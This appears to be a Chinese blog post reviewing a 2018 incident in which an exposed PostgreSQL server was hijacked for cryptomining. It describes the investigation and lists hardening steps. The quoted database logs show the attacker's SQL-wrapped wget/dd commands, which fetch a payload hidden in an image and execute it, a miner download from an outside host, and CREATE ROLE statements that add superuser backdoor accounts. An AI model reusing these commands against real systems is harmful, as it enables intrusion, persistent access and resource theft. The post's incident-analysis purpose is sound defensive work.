记一次 postgreSQL 斯嘉丽约翰逊注入攻击排查

背景

近期有朋友遇到服务器被当矿机的情况,想起之前我也遇到过类似的 case, 是服务器上的 postgre 数据库被注入斯嘉丽约翰逊图片攻击了,重新翻出这篇文章分享当时被攻击后的排查心得。

今天下午(2018.08.11)连续收到了腾讯云我的服务器 CPU overload 报警

CPU Overload.png

登录服务器一看, 有个 postgres user 跑的进程 ./Ac2p018-0 把 CPU 占满了,进程名及运行信息尤其奇怪, 肯定不是运行 postgre 数据库衍生的进程。

Htop info

排查

首先并没有怀疑是被当矿机了,想先排查下这个进程究竟是什么玩意儿。

于是根据 top 命令中的 pid 到 proc 目录下查询进程详细信息,看到 /proc/20619/stack 下看到有一长串的
[<ffffffff81841ff2>] entry_SYSCALL_64_fastpath+0x16/0x71
似乎短时间里发起大量的系统调用(prepare)并且还在不断增长。

接着 cat /proc/20619/cmdline 发现该进程执行的命令是 /var/lib/postgresql/9.5/main/Ac2p018-0 这个坏家伙,查看发现这是个二进制文件,看不出问题,猜测和 postgresql 数据库有关,看起来不像是什么数据库维护脚本,第一反应是被数据库攻击了,于是查看 /var/lib/postgresql/.bash_history/var/lib/postgresql/.psql_history 试图看看是否有被登录服务器手动执行命令的痕迹,发现一条记录都没,显然是被手动清空了,更加确定是被 hack 了。

担心已经被拿到 root 权限了,于是通过 lastloglast 查看登录状态,所幸之前的 root 账户的 ip 都是我自己的,只有 postgres 这个账户看起来有异常。

虽然松了一口气,但通常黑客会习惯在黑入服务器后运行个逆向 shell 便于更方便地登录服务器进行后续操作,于是执行 netsta -nlp 查看是否异常端口处于监听状态

ubuntu@VM-187-130-ubuntu:~$ netstat -nlp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:6379            0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:8080            0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:8088          0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:5432            0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:25              0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:443             0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:8000            0.0.0.0:*               LISTEN      -
tcp6       0      0 :::80                   :::*                    LISTEN      -
tcp6       0      0 :::8086                 :::*                    LISTEN      -
tcp6       0      0 :::5432                 :::*                    LISTEN      -
tcp6       0      0 :::25                   :::*                    LISTEN      -
tcp6       0      0 :::8000                 :::*                    LISTEN      -
udp        0      0 10.141.187.130:123      0.0.0.0:*                           -
udp        0      0 127.0.0.1:123           0.0.0.0:*                           -
udp        0      0 0.0.0.0:123             0.0.0.0:*                           -
udp6       0      0 :::123                  :::*                                -
Active UNIX domain sockets (only servers)
Proto RefCnt Flags       Type       State         I-Node   PID/Program name    Path
unix  2      [ ACC ]     STREAM     LISTENING     13116    -                   /var/lib/lxd/unix.socket
unix  2      [ ACC ]     STREAM     LISTENING     2865755417 27056/systemd       /run/user/500/systemd/private
unix  2      [ ACC ]     SEQPACKET  LISTENING     9722     -                   /run/udev/control
unix  2      [ ACC ]     STREAM     LISTENING     19759    -                   /run/docker/libnetwork/e1b89d6cc808988f4fc021f7f162718968e2759cff24c59edb04804b61133503.sock
复制代码

未观察到异常, 由此确认目前服务器暂时安全,开始深入挖掘这次被黑原因。

由于看到是 postgre 用户执行的异常进程,可能是通过数据库某些漏洞导致可以反向执行命令到服务器中执行程序,那么一定会有相关日志。于是接着到 /var/lib/postgresql/9.5/main/pg_log 下查看数据库日志,抓到了几个奇怪的地方:

  1. 有一个长连接持续从 http://aluka.info/x6 下载文件,
5144 --2018-08-11 15:47:30--  http://aluka.info/x6
5145 Resolving aluka.info (aluka.info)... 103.27.110.206
5146 Connecting to aluka.info (aluka.info)|103.27.110.206|:80... connected.
5147 HTTP request sent, awaiting response... 200 OK
5148 Length: 2758655 (2.6M)
5149 Saving to: ‘xmm’
5150
5151      0K .......... .......... .......... .......... ..........  1%  399K 7s
5152     50K .......... .......... .......... .......... ..........  3%  601K 5s
5153    100K .......... .......... .......... .......... ..........  5%  592K 5s
5154    150K .......... .......... .......... .......... ..........  7% 1.69M 4s
5155    200K .......... .......... .......... .......... ..........  9%  754K 4s
5156    250K .......... .......... .......... .......... .......... 11%  422K 4s
5157    300K .......... .......... .......... .......... .......... 12%  405K 4s
5158    350K .......... .......... .......... .......... .......... 14%  179K 5s
5159    400K .......... .......... .......... .......... .......... 16% 81.1K 8s
5160    450K .......... .......... .......... .......... .......... 18% 35.1K 13s
5161    500K .......... .......... .......... .......... .......... 20%  117K 13s
5162    550K .......... .......... .......... .......... .......... 22% 86.3K 14s
5163    600K .......... .......... .......... .......... .......... 24%  122K 14s
5164    650K .......... .......... .......... .......... .......... 25%  169K 13s
5165    700K .......... .......... .......... .......... .......... 27%  171K 13s
5166    750K .......... .......... .......... .......... .......... 29% 93.8K 13s
5167    800K .......... .......... .......... .......... .......... 31% 94.9K 13s
5168    850K .......... .......... .......... .......... .......... 33%  101K 13s
5169    900K .......... .......... .......... .......... .......... 35% 53.6K 14s
5170    950K .......... .......... .......... .......... .......... 37% 94.3K 14s
5171   1000K .......... .......... .......... .......... .......... 38% 77.0K 13s
5172   1050K .......... .......... .......... .......... .......... 40% 73.6K 13s
5173   1100K .......... .......... .......... .......... .......... 42% 97.2K 13s
5174   1150K .......... .......... .......... .......... .......... 44%  130K 13s
5175   1200K .......... .......... .......... .......... .......... 46%  194K 12s
5176   1250K .......... .......... .......... .......... .......... 48%  173K 12s
5177   1300K .......... .......... .......... .......... .......... 50%  109K 11s
5178   1350K .......... .......... .......... .......... .......... 51% 82.9K 11s
5179   1400K .......... .......... .......... .......... .......... 53%  134K 10s
5180   1450K .......... .......... .......... .......... .......... 55%  106K 10s
5181   1500K .......... .......... .......... .......... .......... 57%  188K 10s
5182   1550K .......... .......... .......... .......... .......... 59% 51.4K 9s
5183   1600K .......... .......... .......... .......... .......... 61% 54.6K 9s
5184   1650K .......... .......... .......... .......... .......... 63% 86.8K 9s
5185   1700K .......... .......... .......... .......... .......... 64%  160K 8s
5186   1750K .......... .......... .......... .......... .......... 66% 97.9K 8s
5187   1800K .......... .......... .......... .......... .......... 68%  153K 8s
5188   1850K .......... .......... .......... .......... .......... 70%  127K 7s
5189   1900K .......... .......... .......... .......... .......... 72%  117K 7s
5190   1950K .......... .......... .......... .......... .......... 74% 63.8K 6s
5191   2000K .......... .......... .......... .......... .......... 76%  119K 6s
5192   2050K .......... .......... .......... .......... .......... 77% 67.1K 5s
5193   2100K .......... .......... .......... .......... .......... 79% 98.0K 5s
5194   2150K .......... .......... .......... .......... .......... 81%  127K 5s
5195   2200K .......... .......... .......... .......... .......... 83%  105K 4s
5196   2250K .......... .......... .......... .......... .......... 85% 99.6K 4s
5197   2300K .......... .......... .......... .......... .......... 87% 76.9K 3s
5198   2350K .......... .......... .......... .......... .......... 89%  162K 3s
5199   2400K .......... .......... .......... .......... .......... 90%  153K 2s
5200   2450K .......... .......... .......... .......... .......... 92%  239K 2s
5201   2500K .......... .......... .......... .......... .......... 94%  160K 1s
5202   2550K .......... .......... .......... .......... .......... 96%  191K 1s
5203   2600K .......... .......... .......... .......... .......... 98%  118K 0s
5204   2650K .......... .......... .......... .......... ...       100% 82.4K=24s
5205
5206 2018-08-11 15:47:54 (111 KB/s) - ‘xmm’ saved [2758655/2758655]
5207
复制代码
  1. 发现更早的日志里,有两个连接从 img1.imagehousing.com 下载了两张图片, 并成功设置了 777 权限
 23 Resolving img1.imagehousing.com (img1.imagehousing.com)... 104.27.180.36, 104.27.181.36, 2400:cb00:2048:1::681b:b524, ...
 24 Connecting to img1.imagehousing.com (img1.imagehousing.com)|104.27.180.36|:80... connected.
 25 HTTP request sent, awaiting response... 200 OK
 26 Length: 1571 (1.5K) [image/png]
 27 Saving to: ‘./conf1.dat’
 28
 29      0K .                                                     100%  368M=0s
 30
 31 2018-08-05 12:54:26 (368 MB/s) - ‘./conf1.dat’ saved [1571/1571]
 32
 33 896+0 records in
 34 896+0 records out
 35 896 bytes copied, 0.000933778 s, 960 kB/s
 36 chmod: cannot access './x4064410502': No such file or directory
 37 2018-08-05 12:54:26 CST [24806-14] pgsql@postgres LOG:  duration: 810.107 ms  statement: select fun6404402637 ('wget  -c  http://img1.imagehousing.com/0/baby-942650.png -O ./conf1.dat;dd  skip=675  bs=1  if=./conf1.dat  of=config.json  ;rm -f ./conf1#
 38 --2018-08-05 12:54:27--  http://img1.imagehousing.com/0/cat-497532.png
 39 Resolving img1.imagehousing.com (img1.imagehousing.com)... 104.27.180.36, 104.27.181.36, 2400:cb00:2048:1::681b:b424, ...
 40 Connecting to img1.imagehousing.com (img1.imagehousing.com)|104.27.180.36|:80... connected.
 41 HTTP request sent, awaiting response... 200 OK
 42 Length: 840464 (821K) [image/png]
 43 Saving to: ‘ifzsvasg.jpg’
 44
 45      0K .......... .......... .......... .......... ..........  6% 81.3K 9s
 46     50K .......... .......... .......... .......... .......... 12%  153K 7s
 47    100K .......... .......... .......... .......... .......... 18% 86.2K 7s
 48    150K .......... .......... .......... .......... .......... 24%  635K 5s
 49    200K .......... .......... .......... .......... .......... 30%  138K 4s
 50    250K .......... .......... .......... .......... .......... 36%  139K 4s
 51    300K .......... .......... .......... .......... .......... 42%  146K 4s
 52    350K .......... .......... .......... .......... .......... 48%  176K 3s
 53    400K .......... .......... .......... .......... .......... 54%  194K 3s
 54    450K .......... .......... .......... .......... .......... 60%  189K 2s
 55    500K .......... .......... .......... .......... .......... 67%  179K 2s
 56    550K .......... .......... .......... .......... .......... 73%  178K 1s
 57    600K .......... .......... .......... .......... .......... 79%  187K 1s
 58    650K .......... .......... .......... .......... .......... 85%  191K 1s
 59    700K .......... .......... .......... .......... .......... 91%  132K 0s
 60    750K .......... .......... .......... .......... .......... 97%  202K 0s
 61    800K .......... ..........                                 100%  141K=5.3s
 62
 63 2018-08-05 12:54:33 (154 KB/s) - ‘ifzsvasg.jpg’ saved [840464/840464]
 ...
复制代码

看起来通过 postgre 端口执行了远程下载指令。不禁很好奇是怎么做到的,但是又不敢把这两张图片直接 scp 到本地,于是起了个静态文件 serve 看了下这两张图片表面上看起来竟然是斯嘉丽约翰逊的照片!

Scarlett Johansson

那么为啥要下这张图片呢,又是怎么通过这张图片到我的服务器中执行命令的呢?

印象里面 jpg/jpeg 图片似乎有种隐写 payload 的方法,早年间作为葫芦娃种子来传播,网上查到 metaspolit 的这个组件似乎可以实现。同时也找到了这个工具 strgdetext 用来提取图片中的隐写数据,可惜提取出来后仍是一段看不懂二进制码,于是思路阻塞住了。

想到既然需要提取 payload, 那么数据库日志里肯定也有相应代码来做这一步,于是重新翻了下日志,果不其然,发现了真正攻击的这一步在这儿

 68 2018-08-05 12:54:34 CST [24806-15] pgsql@postgres LOG:  duration: 6705.657 ms  statement: select fun6404402637('wget  -c   http://img1.imagehousing.com/0/cat-497532.png -O ifzsvasg.jpg;dd  skip=20656  bs=1  if=./ifzsvasg.jpg  of=x4064410502;rm -f ./i#
 69 2018-08-05 12:54:34 CST [24845-1] postgres@postgres FATAL:  password authentication failed for user "postgres"
 70 2018-08-05 12:54:34 CST [24845-2] postgres@postgres DETAIL:  Connection matched pg_hba.conf line 101: "host    all             all              0.0.0.0/0              md5"
 71 2018-08-05 12:54:35 CST [24806-16] pgsql@postgres ERROR:  role "login" already exists
 72 2018-08-05 12:54:35 CST [24806-17] pgsql@postgres STATEMENT:  CREATE ROLE   LOGIN ENCRYPTED PASSWORD 'md51351dbb7fe95c1f277282bc842cb3d6b' SUPERUSER CREATEDB CREATEROLE REPLICATION   VALID UNTIL 'infinity';
 73 2018-08-05 12:54:36 CST [24806-18] pgsql@postgres ERROR:  role "login" already exists
 74 2018-08-05 12:54:36 CST [24806-19] pgsql@postgres STATEMENT:  CREATE ROLE   LOGIN ENCRYPTED PASSWORD 'md51351dbb7fe95c1f277282bc842cb3d6b' SUPERUSER CREATEDB CREATEROLE    VALID UNTIL 'infinity';
 75 2018-08-05 12:54:36 CST [24806-21] pgsql@postgres STATEMENT:  CREATE ROLE pgsql LOGIN ENCRYPTED PASSWORD 'md56413b16b3d0861a1d2538e8d5a5eb39c'  SUPERUSER CREATEDB CREATEROLE    VALID UNTIL 'infinity';
复制代码

我们简单分析下这段日志,

看到其通过 select tmp_function(cmd) 的方式 执行了以下操作

下载图片 --> 提取 paylod --> 设置权限 --> 删除图片 --> 通过 payload 里的自定义代码重建了 pgsql 数据库账户 --> 拿到数据库 root 权限
复制代码

最终打了这一套组合拳,漂亮!

排查到问题之后,赶紧清空了相关文件和 dbuser,设置了 postgres superuser 仅能通过本地连接的设置,禁掉了 superuser 网络连接, 至此 postgre 用户就不再能通过远程访问来执行命令了, 接着再确认下服务器其他进程, 发现没有异常, 终于长舒一口气。

回想起来,看看是否有其他人也遇到了「斯嘉丽攻击」, 一查发现果然不只我一人中招,不过看了下 exploit db 里还没记录这个漏洞,对比了下时间,似乎是18年初才兴起的。

这下就弄明白了, 之前建的长连接原来是在挖矿, 自己也中招被当成矿机了。

反思

这次主要的原因是 postgres 配置权限时偷懒导致服务器变成挖矿僵尸。

  1. postgres pg_hba.conf 里的用户认证 method 应改成 md5 方式
  2. 数据库 superuser 只配置只能 local 访问禁止远程访问
  3. 腾讯云安全组里数据库端口 outbound 应尽量限制 ip 段